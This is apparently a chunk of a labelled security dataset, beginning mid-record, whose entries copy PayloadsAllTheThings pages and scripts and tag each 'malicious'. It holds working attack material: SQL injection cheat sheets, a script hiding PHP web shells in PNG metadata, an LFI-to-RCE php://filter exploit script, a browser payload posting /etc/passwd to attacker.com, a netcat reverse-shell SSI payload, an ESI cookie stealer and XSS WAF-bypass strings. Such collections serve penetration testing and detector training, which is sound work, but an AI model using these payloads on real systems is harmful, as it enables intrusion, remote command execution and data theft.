Limit\n\nBacktracking in regular expressions occurs when the regex engine tries to match a pattern and encounters a mismatch. The engine then backtracks to the previous matching position and tries an alternative path to find a match. This process can be repeated many times, especially with complex patterns and large input strings.  \n\n**PHP PCRE configuration options**:\n\n| Name                 | Default\u00a0| Note |\n|----------------------|---------|---------|\n| pcre.backtrack_limit |\u00a01000000 | 100000 for `PHP < 5.3.7`|\n| pcre.recursion_limit |\u00a0100000  | / |\n| pcre.jit             | 1\u00a0      | / |\n\nSometimes it is possible to force the regex to exceed more than 100 000 recursions which will cause a ReDOS and make `preg_match` returning false:\n\n```php\n$pattern = '/(a+)+$/';\n$subject = str_repeat('a', 1000) . 'b';\n\nif (preg_match($pattern, $subject)) {\n    echo \"Match found\";\n} else {\n    echo \"No match\";\n}\n```\n\n## References\n\n* [Intigriti Challenge 1223 - Hackbook Of A Hacker - December 21, 2023](https://web.archive.org/web/20260210185049/https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223)\n* [MyBB Admin Panel RCE CVE-2023-41362 - SorceryIE - September 11, 2023](https://web.archive.org/web/20251115110845/https://blog.sorcery.ie/posts/mybb_acp_rce/)\n* [OWASP Validation Regex Repository - OWASP - March 14, 2018](https://web.archive.org/web/20241005224013/https://wiki.owasp.org/index.php/OWASP_Validation_Regex_Repository)\n* [PCRE > Installing/Configuring - PHP Manual - May 3, 2008](https://web.archive.org/web/20260219065508/https://www.php.net/manual/en/pcre.configuration.php)\n* [Regular expression Denial of Service - ReDoS - Adar Weidman - December 4, 2019](https://web.archive.org/web/20200309080846/https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)\n", "findings": [{"category": "malicious", "subcategory": "malicious.redos", "severity": "medium", "explanation": "Regular expression denial of service payload from Regular Expression/README.md. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00042", "source": "payloads_all_the_things", "source_license": "MIT", "text": "# SQL Injection\n\n> SQL Injection (SQLi)  is a type of security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. SQL Injection is one of the most common and severe types of web application vulnerabilities, enabling attackers to execute arbitrary SQL code on the database. This can lead to unauthorized data access, data manipulation, and, in some cases, full compromise of the database server.\n\n## Summary\n\n* [CheatSheets](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/)\n    * [MSSQL Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MSSQL%20Injection.md)\n    * [MySQL Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)\n    * [OracleSQL Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/OracleSQL%20Injection.md)\n    * [PostgreSQL Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md)\n    * [SQLite Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/SQLite%20Injection.md)\n    * [Cassandra Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/Cassandra%20Injection.md)\n    * [DB2 Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/DB2%20Injection.md)\n    * [SQLmap](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/SQLmap.md)\n* [Tools](#tools)\n* [Entry Point Detection](#entry-point-detection)\n* [DBMS Identification](#dbms-identification)\n* [Authentication Bypass](#authentication-bypass)\n    * [Raw MD5 and SHA1](#raw-md5-and-sha1)\n* [UNION Based Injection](#union-based-injection)\n* [Error Based Injection](#error-based-injection)\n* [Blind Injection](#blind-injection)\n    * [Boolean Based Injection](#boolean-based-injection)\n    * [Blind Error Based Injection](#blind-error-based-injection)\n    * [Time Based Injection](#time-based-injection)\n    * [Out of Band (OAST)](#out-of-band-oast)\n* [Stacked Based Injection](#stacked-based-injection)\n* [Polyglot Injection](#polyglot-injection)\n* [Routed Injection](#routed-injection)\n* [Second Order SQL Injection](#second-order-sql-injection)\n* [PDO Prepared Statements](#pdo-prepared-statements)\n* [Generic WAF Bypass](#generic-waf-bypass)\n    * [No Space Allowed](#no-space-allowed)\n    * [No Comma Allowed](#no-comma-allowed)\n    * [No Equal Allowed](#no-equal-allowed)\n    * [Case Modification](#case-modification)\n* [Labs](#labs)\n* [References](#references)\n\n## Tools\n\n* [sqlmapproject/sqlmap](https://github.com/sqlmapproject/sqlmap) - Automatic SQL injection and database takeover tool\n* [r0oth3x49/ghauri](https://github.com/r0oth3x49/ghauri) - An advanced cross-platform tool that automates the process of detecting and exploiting SQL injection security flaws\n\n## Entry Point Detection\n\nDetecting the entry point in SQL injection (SQLi) involves identifying locations in an application where user input is not properly sanitized before it is included in SQL queries.\n\n* **Error Messages**: Inputting special characters (e.g., a single quote ') into input fields might trigger SQL errors. If the application displays detailed error messages, it can indicate a potential SQL injection point.\n    * Simple characters: `'`, `\"`, `;`, `)` and `*`\n    * Simple characters encoded: `%27`, `%22`, `%23`, `%3B`, `%29` and `%2A`\n    * Multiple encoding: `%%2727`, `%25%27`\n    * Unicode characters: `U+02BA`, `U+02B9`\n        * MODIFIER LETTER DOUBLE PRIME (`U+02BA` encoded as `%CA%BA`) is transformed into `U+0022` QUOTATION MARK (`)\n        * MODIFIER LETTER PRIME (`U+02B9` encoded as `%CA%B9`) is transformed into `U+0027` APOSTROPHE (')\n\n* **Tautology-Based SQL Injection**: By inputting tautological (always true) conditions, you can test for vulnerabilities. For instance, entering `admin' OR", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "critical", "explanation": "SQL injection payload from SQL Injection/README.md. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00043", "source": "payloads_all_the_things", "source_license": "MIT", "text": "# MSSQL Injection\n\n> MSSQL Injection  is a type of security vulnerability that can occur when an attacker can insert or \"inject\" malicious SQL code into a query executed by a Microsoft SQL Server (MSSQL) database. This typically happens when user inputs are directly included in SQL queries without proper sanitization or parameterization. SQL Injection can lead to serious consequences such as unauthorized data access, data manipulation, and even gaining control over the database server.\n\n## Summary\n\n* [MSSQL Default Databases](#mssql-default-databases)\n* [MSSQL Comments](#mssql-comments)\n* [MSSQL Enumeration](#mssql-enumeration)\n    * [MSSQL List Databases](#mssql-list-databases)\n    * [MSSQL List Tables](#mssql-list-tables)\n    * [MSSQL List Columns](#mssql-list-columns)\n* [MSSQL Union Based](#mssql-union-based)\n* [MSSQL Error Based](#mssql-error-based)\n* [MSSQL Blind Based](#mssql-blind-based)\n    * [MSSQL Blind With Substring Equivalent](#mssql-blind-with-substring-equivalent)\n* [MSSQL Time Based](#mssql-time-based)\n* [MSSQL Stacked Query](#mssql-stacked-query)\n* [MSSQL File Manipulation](#mssql-file-manipulation)\n    * [MSSQL Read File](#mssql-read-file)\n    * [MSSQL Write File](#mssql-write-file)\n* [MSSQL Command Execution](#mssql-command-execution)\n    * [XP_CMDSHELL](#xp_cmdshell)\n    * [Python Script](#python-script)\n* [MSSQL Out of Band](#mssql-out-of-band)\n    * [MSSQL DNS Exfiltration](#mssql-dns-exfiltration)\n    * [MSSQL UNC Path](#mssql-unc-path)\n* [MSSQL Trusted Links](#mssql-trusted-links)\n* [MSSQL Privileges](#mssql-privileges)\n    * [MSSQL List Permissions](#mssql-list-permissions)\n    * [MSSQL Make User DBA](#mssql-make-user-dba)\n* [MSSQL Database Credentials](#mssql-database-credentials)\n* [MSSQL OPSEC](#mssql-opsec)\n* [References](#references)\n\n## MSSQL Default Databases\n\n| Name                  | Description                           |\n|-----------------------|---------------------------------------|\n| pubs                 | Not available on MSSQL 2005           |\n| model                 | Available in all versions             |\n| msdb                 | Available in all versions             |\n| tempdb             | Available in all versions             |\n| northwind             | Available in all versions             |\n| information_schema | Available from MSSQL 2000 and higher  |\n\n## MSSQL Comments\n\n| Type                       | Description                       |\n|----------------------------|-----------------------------------|\n| `/* MSSQL Comment */`      | C-style comment                   |\n| `--`                       | SQL comment                       |\n| `;%00`                     | Null byte                         |\n\n## MSSQL Enumeration\n\n| Description     | SQL Query |\n| --------------- | ----------------------------------------- |\n| DBMS version    | `SELECT @@version`                        |\n| Database name   | `SELECT DB_NAME()`                        |\n| Database schema | `SELECT SCHEMA_NAME()`                    |\n| Hostname        | `SELECT HOST_NAME()`                      |\n| Hostname        | `SELECT @@hostname`                       |\n| Hostname        | `SELECT @@SERVERNAME`                     |\n| Hostname        | `SELECT SERVERPROPERTY('productversion')` |\n| Hostname        | `SELECT SERVERPROPERTY('productlevel')`   |\n| Hostname        | `SELECT SERVERPROPERTY('edition')`        |\n| User            | `SELECT CURRENT_USER`                     |\n| User            | `SELECT user_name();`                     |\n| User            | `SELECT system_user;`                     |\n| User            | `SELECT user;`                            |\n\n### MSSQL List Databases\n\n```sql\nSELECT name FROM master..sysdatabases;\nSELECT name FROM master.sys.databases;\n\n-- for N = 0, 1, 2, \u2026\nSELECT DB_NAME(N); \n\n-- Change delimiter value such as ', ' to anything else you want => master, tempdb, model, msdb \n-- (Only works in MSSQL 2017+)\nSELECT STRING_AGG(name, ', ') FROM master..sysdatabases; \n```\n\n### ", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "critical", "explanation": "SQL injection payload from SQL Injection/MSSQL Injection.md. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00044", "source": "payloads_all_the_things", "source_license": "MIT", "text": "from __future__ import print_function\nfrom PIL import Image\n\n# Shellcodes - Bypass included : Keyword Recognition : System, GET, php\n# --- How to use : http://localhost/shell.php?c=echo%20'<pre>';ls\n\n#shellcode  = \"<?=@`$_GET[c]`;\"\nshellcode = \"<?php system($_GET['c']); ?>\"\n# --- How to use : http://localhost/shell.php?_=system&__=echo%20'<pre>';ls\nshellcode2 = \"<?='Sh3ll'; $_='{';$_=($_^'<').($_^'>;').($_^'/');?><?=${'_'.$_}['_'](${'_'.$_}['__']);?>\"\n\n\nprint(\"\\n[+] Advanced Upload - Shell inside metadatas of a PNG file\")\n\n# Create a backdoored PNG\nprint(\" - Creating a payload.png\")\nim = Image.new(\"RGB\", (10,10), \"Black\")\nim.info[\"shell\"] = shellcode\nreserved = ('interlace', 'gamma', 'dpi', 'transparency', 'aspect')\n\n# undocumented class\nfrom PIL import PngImagePlugin\nmeta = PngImagePlugin.PngInfo()\n\n# copy metadata into new object\nfor k,v in im.info.items():\n\tif k in reserved: continue\n\tmeta.add_text(k, v, 0)\nim.save(\"payload.png\", \"PNG\", pnginfo=meta)\n\nprint(\"Done\")", "findings": [{"category": "malicious", "subcategory": "malicious.shell", "severity": "critical", "explanation": "Malicious file upload payload from Upload Insecure Files/Build_image_to_LFI.py. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00045", "source": "payloads_all_the_things", "source_license": "MIT", "text": "import requests\n\nurl = \"http://localhost:8000/chall.php\"\nfile_to_use = \"/etc/passwd\"\ncommand = \"id\"\n\n#<?=`$_GET[0]`;;?>\nbase64_payload = \"PD89YCRfR0VUWzBdYDs7Pz4\"\n\nconversions = {\n    'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',\n    'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',\n    'C': 'convert.iconv.UTF8.CSISO2022KR',\n    '8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',\n    '9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',\n    'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',\n    's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',\n    'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',\n    'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',\n    'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',\n    'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',\n    '0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',\n    'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',\n    'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',\n    'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',\n    'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',\n    '7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',\n    '4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'\n}\n\n\n# generate some garbage base64\nfilters = \"convert.iconv.UTF8.CSISO2022KR|\"\nfilters += \"convert.base64-encode|\"\n# make sure to get rid of any equal signs in both the string we just generated and the rest of the file\nfilters += \"convert.iconv.UTF8.UTF7|\"\n\n\nfor c in base64_payload[::-1]:\n        filters += conversions[c] + \"|\"\n        # decode and re-encode to get rid of everything that isn't valid base64\n        filters += \"convert.base64-decode|\"\n        filters += \"convert.base64-encode|\"\n        # get rid of equal signs\n        filters += \"convert.iconv.UTF8.UTF7|\"\n\nfilters += \"convert.base64-decode\"\n\nfinal_payload = f\"php://filter/{filters}/resource={file_to_use}\"\n\nwith open('payload', 'w') as f:\n    f.write(final_payload)\n\nr = requests.get(url, params={\n    \"0\": command,\n    \"action\": \"include\",\n    \"file\": final_payload\n})\n\nprint(r.text)", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "critical", "explanation": "File inclusion payload from File Inclusion/LFI2RCE.py. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00046", "source": "payloads_all_the_things", "source_license": "MIT", "text": "# Headless Browser\n\n> A headless browser is a web browser without a graphical user interface. It works just like a regular browser, such as Chrome or Firefox, by interpreting HTML, CSS, and JavaScript, but it does so in the background, without displaying any visuals.\n> Headless browsers are primarily used for automated tasks, such as web scraping, testing, and running scripts. They are particularly useful in situations where a full-fledged browser is not needed, or where resources (like memory or CPU) are limited.\n\n## Summary\n\n* [Headless Commands](#headless-commands)\n* [Local File Read](#local-file-read)\n* [Remote Debugging Port](#remote-debugging-port)\n* [Network](#network)\n    * [Port Scanning](#port-scanning)\n    * [DNS Rebinding](#dns-rebinding)\n* [CVE](#cve)\n* [References](#references)\n\n## Headless Commands\n\nExample of headless browsers commands:\n\n* Google Chrome\n\n    ```ps1\n    google-chrome --headless[=(new|old)] --print-to-pdf https://www.google.com\n    ```\n\n* Mozilla Firefox\n\n    ```ps1\n    firefox --screenshot https://www.google.com\n    ```\n\n* Microsoft Edge\n\n    ```ps1\n    \"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe\" --headless --disable-gpu --window-size=1280,720 --screenshot=\"C:\\tmp\\screen.png\" \"https://google.com\"\n    ```\n\n## Local File Read\n\n### Insecure Flags\n\nIf the target is launched with the `--allow-file-access` option\n\n```ps1\ngoogle-chrome-stable --disable-gpu --headless=new --no-sandbox --no-first-run --disable-web-security -\u2013allow-file-access-from-files --allow-file-access --allow-cross-origin-auth-prompt --user-data-dir\n```\n\nSince the file access is allowed, an atacker can create and expose an HTML file which captures the content of the `/etc/passwd` file.\n\n```js\n<script>\n  async function getFlag(){\n    response = await fetch(\"file:///etc/passwd\");\n    flag = await response.text();\n    fetch(\"https://attacker.com/\", { method: \"POST\", body: flag})\n  };\n  getFlag();\n</script>\n```\n\n### PDF Rendering\n\nConsider a scenario where a headless browser captures a copy of a webpage and exports it to PDF, while the attacker has control over the URL being processed.\n\nTarget: `google-chrome-stable --headless[=(new|old)] --print-to-pdf https://site/file.html`\n\n* Javascript Redirect\n\n    ```html\n    <html>\n        <body>\n            <script>\n                window.location=\"/etc/passwd\"\n            </script>\n        </body>\n    </html>\n    ```\n\n* Iframe\n\n    ```html\n    <html>\n        <body>\n            <iframe src=\"/etc/passwd\" height=\"640\" width=\"640\"></iframe>\n        </body>\n    </html>\n    ```\n\n## Remote Debugging Port\n\nThe Remote Debugging Port in a headless browser (like Headless Chrome or Chromium) is a TCP port that exposes the browser\u2019s DevTools Protocol so external tools (or scripts) can connect and control the browser remotely. It usually listen on port **9222** but it can be changed with `--remote-debugging-port=`.\n\n**Target**: `google-chrome-stable --headless=new --remote-debugging-port=XXXX ./index.html`\n\n**Tools**:\n\n* [slyd0g/WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut) - Interact with Chromium-based browsers' debug port to view open tabs, installed extensions, and cookies\n* [slyd0g/ripWCMN.py](https://gist.githubusercontent.com/slyd0g/955e7dde432252958e4ecd947b8a7106/raw/d96c939adc66a85fa9464cec4150543eee551356/ripWCMN.py) - WCMN alternative using Python to fix the websocket connection with an empty `origin` Header.\n\n> [!NOTE]  \n> Since Chrome update from December 20, 2022, you must start the browser with the argument `--remote-allow-origins=\"*\"` to connect to the websocket with WhiteChocolateMacademiaNut.\n\n**Exploits**:\n\n* Connect and interact with the browser: `chrome://inspect/#devices`, `opera://inspect/#devices`\n* Kill the currently running browser and use the `--restore-last-session` to get access to the user's tabs\n* Data stored in the settings (username, passwords, token): `chrome://settings`\n* Port Scan: In a loop open `http://localhost:<p", "findings": [{"category": "malicious", "subcategory": "malicious.shell", "severity": "high", "explanation": "Headless browser exploitation payload from Headless Browser/README.md. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00047", "source": "payloads_all_the_things", "source_license": "MIT", "text": "# Race Condition\n\n> Race conditions may occur when a process is critically or unexpectedly dependent on the sequence or timings of other events. In a web application environment, where multiple requests can be processed at a given time, developers may leave concurrency to be handled by the framework, server, or programming language.\n\n## Summary\n\n- [Tools](#tools)\n- [Methodology](#methodology)\n    - [Limit-overrun](#limit-overrun)\n    - [Rate-limit Bypass](#rate-limit-bypass)\n- [Techniques](#techniques)\n    - [HTTP/1.1 Last-byte Synchronization](#http11-last-byte-synchronization)\n    - [HTTP/2 Single-packet Attack](#http2-single-packet-attack)\n- [Turbo Intruder](#turbo-intruder)\n    - [Example 1](#example-1)\n    - [Example 2](#example-2)\n- [Labs](#labs)\n- [References](#references)\n\n## Tools\n\n- [PortSwigger/turbo-intruder](https://github.com/PortSwigger/turbo-intruder) - a Burp Suite extension for sending large numbers of HTTP requests and analyzing the results.\n- [JavanXD/Raceocat](https://github.com/JavanXD/Raceocat) - Make exploiting race conditions in web applications highly efficient and ease-of-use.\n- [nxenon/h2spacex](https://github.com/nxenon/h2spacex) - HTTP/2 Single Packet Attack low Level Library / Tool based on Scapy\u200c + Exploit Timing Attacks\n\n## Methodology\n\n### Limit-overrun\n\nLimit-overrun refers to a scenario where multiple threads or processes compete to update or access a shared resource, resulting in the resource exceeding its intended limits.\n\n**Examples**: Overdrawing limit, multiple voting, multiple spending of a giftcard.\n\n- [Race Condition allows to redeem multiple times gift cards which leads to free \"money\" - @muon4](https://hackerone.com/reports/759247)\n- [Race conditions can be used to bypass invitation limit - @franjkovic](https://hackerone.com/reports/115007)\n- [Register multiple users using one invitation - @franjkovic](https://hackerone.com/reports/148609)\n\n### Rate-limit Bypass\n\nRate-limit bypass occurs when an attacker exploits the lack of proper synchronization in rate-limiting mechanisms to exceed intended request limits. Rate-limiting is designed to control the frequency of actions (e.g., API requests, login attempts), but race conditions can allow attackers to bypass these restrictions.\n\n**Examples**: Bypassing anti-bruteforce mechanism and 2FA.\n\n- [Instagram Password Reset Mechanism Race Condition - Laxman Muthiyah](https://youtu.be/4O9FjTMlHUM)\n\n## Techniques\n\n### HTTP/1.1 Last-byte Synchronization\n\nSend every requests except the last byte, then \"release\" each request by sending the last byte.\n\nExecute a last-byte synchronization using Turbo Intruder\n\n```py\nengine.queue(request, gate='race1')\nengine.queue(request, gate='race1')\nengine.openGate('race1')\n```\n\n**Examples**:\n\n- [Cracking reCAPTCHA, Turbo Intruder style - James Kettle](https://portswigger.net/research/cracking-recaptcha-turbo-intruder-style)\n\n### HTTP/2 Single-packet Attack\n\nIn HTTP/2 you can send multiple HTTP requests concurrently over a single connection. In the single-packet attack around ~20/30 requests will be sent and they will arrive at the same time on the server. Using a single request remove the network jitter.\n\n- [PortSwigger/turbo-intruder/race-single-packet-attack.py](https://github.com/PortSwigger/turbo-intruder/blob/master/resources/examples/race-single-packet-attack.py)\n- Burp Suite\n    - Send a request to Repeater\n    - Duplicate the request 20 times (CTRL+R)\n    - Create a new group and add all the requests\n    - Send group in parallel (single-packet attack)\n\n**Examples**:\n\n- [CVE-2022-4037 - Discovering a race condition vulnerability in Gitlab with the single-packet attack - James Kettle](https://youtu.be/Y0NVIVucQNE)\n\n## Turbo Intruder\n\n### Example 1\n\n1. Send request to turbo intruder\n2. Use this python code as a payload of the turbo intruder\n\n   ```python\n   def queueRequests(target, wordlists):\n       engine = RequestEngine(endpoint=target.endpoint,\n                           concurrentConnections=30,\n    ", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "high", "explanation": "Race condition payload from Race Condition/README.md. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00048", "source": "payloads_all_the_things", "source_license": "MIT", "text": "# Server Side Include Injection\n\n> Server Side Includes (SSI) are directives that are placed in HTML pages and evaluated on the server while the pages are being served. They let you add dynamically generated content to an existing HTML page, without having to serve the entire page via a CGI program, or other dynamic technology.\n\n## Summary\n\n* [Tools](#tools)\n* [Methodology](#methodology)\n* [Edge Side Inclusion](#edge-side-inclusion)\n* [References](#references)\n\n## Tools\n\n* [vladko312/SSTImap](https://github.com/vladko312/SSTImap) - Automatic SSTI detection tool with interactive interface based on [epinna/tplmap](https://github.com/epinna/tplmap), supports SSI detection and exploitation with `--legacy` or `-e SSI`\n\n  ```bash\n  python3 ./sstimap.py -u 'https://example.com/page?name=John' --legacy -s\n  python3 ./sstimap.py -i -u 'https://example.com/page?name=Vulnerable*&message=My_message' -l 5 -e SSI\n  python3 ./sstimap.py -i --legacy -A -m POST -l 5 -H 'Authorization: Basic bG9naW46c2VjcmV0X3Bhc3N3b3Jk'\n  ```\n\n## Methodology\n\nSSI Injection occurs when an attacker can input Server Side Include directives into a web application. SSIs are directives that can include files, execute commands, or print environment variables/attributes. If user input is not properly sanitized within an SSI context, this input can be used to manipulate server-side behavior and access sensitive information or execute commands.\n\nSSI format: `<!--#directive param=\"value\" -->`\n\n| Description             | Payload                                  |\n| ----------------------- | ---------------------------------------- |\n| Print the date          | `<!--#echo var=\"DATE_LOCAL\" -->`         |\n| Print the document name | `<!--#echo var=\"DOCUMENT_NAME\" -->`      |\n| Print all the variables | `<!--#printenv -->`                      |\n| Setting variables       | `<!--#set var=\"name\" value=\"Rich\" -->`   |\n| Include a file          | `<!--#include file=\"/etc/passwd\" -->`    |\n| Include a file          | `<!--#include virtual=\"/index.html\" -->` |\n| Execute commands        | `<!--#exec cmd=\"ls\" -->`                 |\n| Reverse shell           | `<!--#exec cmd=\"mkfifo /tmp/f;nc IP PORT 0</tmp/f\\|/bin/bash 1>/tmp/f;rm /tmp/f\" -->` |\n\n## Edge Side Inclusion\n\nHTTP surrogates cannot differentiate between genuine ESI tags from the upstream server and malicious ones embedded in the HTTP response. This means that if an attacker manages to inject ESI tags into the HTTP response, the surrogate will process and evaluate them without question, assuming they are legitimate tags originating from the upstream server.\n\nSome surrogates will require ESI handling to be signaled in the Surrogate-Control HTTP header.\n\n```ps1\nSurrogate-Control: content=\"ESI/1.0\"\n```\n\n| Description             | Payload                                  |\n| ----------------------- | ---------------------------------------- |\n| Blind detection         | `<esi:include src=http://attacker.com>`  |\n| XSS                     | `<esi:include src=http://attacker.com/XSSPAYLOAD.html>` |\n| Cookie stealer          | `<esi:include src=http://attacker.com/?cookie_stealer.php?=$(HTTP_COOKIE)>` |\n| Include a file          | `<esi:include src=\"supersecret.txt\">` |\n| Display debug info      | `<esi:debug/>` |\n| Add header              | `<!--esi $add_header('Location','http://attacker.com') -->` |\n| Inline fragment         | `<esi:inline name=\"/attack.html\" fetchable=\"yes\"><script>prompt('XSS')</script></esi:inline>` |\n\n| Software |\u00a0Includes | Vars |\u00a0Cookies | Upstream Headers Required | Host Whitelist |\n| -------- | -------- | ---- | ------- | ------------------------- | -------------- |\n| Squid3   | Yes      | Yes  | Yes     | Yes                       | No             |\n| Varnish Cache | Yes | No   | No      | Yes                       | Yes            |\n| Fastly   | Yes      | No   | No      | No                        | Yes            |\n| Akamai ESI Test Server (ETS) | Yes | Yes | Yes | No              | No            ", "findings": [{"category": "malicious", "subcategory": "malicious.ssti", "severity": "high", "explanation": "Server-side include injection payload from Server Side Include Injection/README.md. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00049", "source": "payloads_all_the_things", "source_license": "MIT", "text": "# Common WAF Bypass\n\n> WAFs are designed to filter out malicious content by inspecting incoming and outgoing traffic for patterns indicative of attacks. Despite their sophistication, WAFs often struggle to keep up with the diverse methods attackers use to obfuscate and modify their payloads to circumvent detection.\n\n## Summary\n\n* [Cloudflare](#cloudflare)\n* [Chrome Auditor](#chrome-auditor)\n* [Incapsula WAF](#incapsula-waf)\n* [Akamai WAF](#akamai-waf)\n* [WordFence WAF](#wordfence-waf)\n* [Fortiweb WAF](#fortiweb-waf)\n\n## Cloudflare\n\n* 25st January 2021 - [@Bohdan Korzhynskyi](https://twitter.com/bohdansec)\n\n    ```js\n    <svg/onrandom=random onload=confirm(1)>\n    <video onnull=null onmouseover=confirm(1)>\n    ```\n\n* 21st April 2020 - [@Bohdan Korzhynskyi](https://twitter.com/bohdansec)\n\n    ```js\n    <svg/OnLoad=\"`${prompt``}`\">\n    ```\n\n* 22nd August 2019 - [@Bohdan Korzhynskyi](https://twitter.com/bohdansec)\n\n    ```js\n    <svg/onload=%26nbsp;alert`bohdan`+\n    ```\n\n* 5th June 2019 - [@Bohdan Korzhynskyi](https://twitter.com/bohdansec)\n\n    ```js\n    1'\"><img/src/onerror=.1|alert``>\n    ```\n\n* 3rd June 2019 - [@Bohdan Korzhynskyi](https://twitter.com/bohdansec)\n\n    ```js\n    <svg onload=prompt%26%230000000040document.domain)>\n    <svg onload=prompt%26%23x000000028;document.domain)>\n    xss'\"><iframe srcdoc='%26lt;script>;prompt`${document.domain}`%26lt;/script>'>\n    ```\n\n* 22nd March 2019 - @RakeshMane10\n\n    ```js\n    <svg/onload=&#97&#108&#101&#114&#00116&#40&#41&#x2f&#x2f\n    ```\n\n* 27th February 2018\n\n    ```html\n    <a href=\"j&Tab;a&Tab;v&Tab;asc&NewLine;ri&Tab;pt&colon;&lpar;a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;(document.domain)&rpar;\">X</a>\n    ```\n\n## Chrome Auditor\n\nNOTE: Chrome Auditor is deprecated and removed on latest version of Chrome and Chromium Browser.\n\n* 9th August 2018\n\n    ```javascript\n    </script><svg><script>alert(1)-%26apos%3B\n    ```\n\n## Incapsula WAF\n\n* 11th May 2019 - [@daveysec](https://twitter.com/daveysec/status/1126999990658670593)\n\n    ```js\n    <svg onload\\r\\n=$.globalEval(\"al\"+\"ert()\");>\n    ```\n\n* 8th March 2018 - [@Alra3ees](https://twitter.com/Alra3ees/status/971847839931338752)\n\n    ```javascript\n    anythinglr00</script><script>alert(document.domain)</script>uxldz\n    anythinglr00%3c%2fscript%3e%3cscript%3ealert(document.domain)%3c%2fscript%3euxldz\n    ```\n\n* 11th September 2018 - [@c0d3G33k](https://twitter.com/c0d3G33k)\n\n    ```javascript\n    <object data='data:text/html;;;;;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=='></object>\n    ```\n\n## Akamai WAF\n\n* 18th June 2018 - [@zseano](https://twitter.com/zseano)\n\n    ```javascript\n    ?\"></script><base%20c%3D=href%3Dhttps:\\mysite>\n    ```\n\n* 28th October 2018 - [@s0md3v](https://twitter.com/s0md3v/status/1056447131362324480)\n\n    ```svg\n    <dETAILS%0aopen%0aonToGgle%0a=%0aa=prompt,a() x>\n    ```\n\n## WordFence WAF\n\n* 12th September 2018 - [@brutelogic](https://twitter.com/brutelogic)\n\n    ```html\n    <a 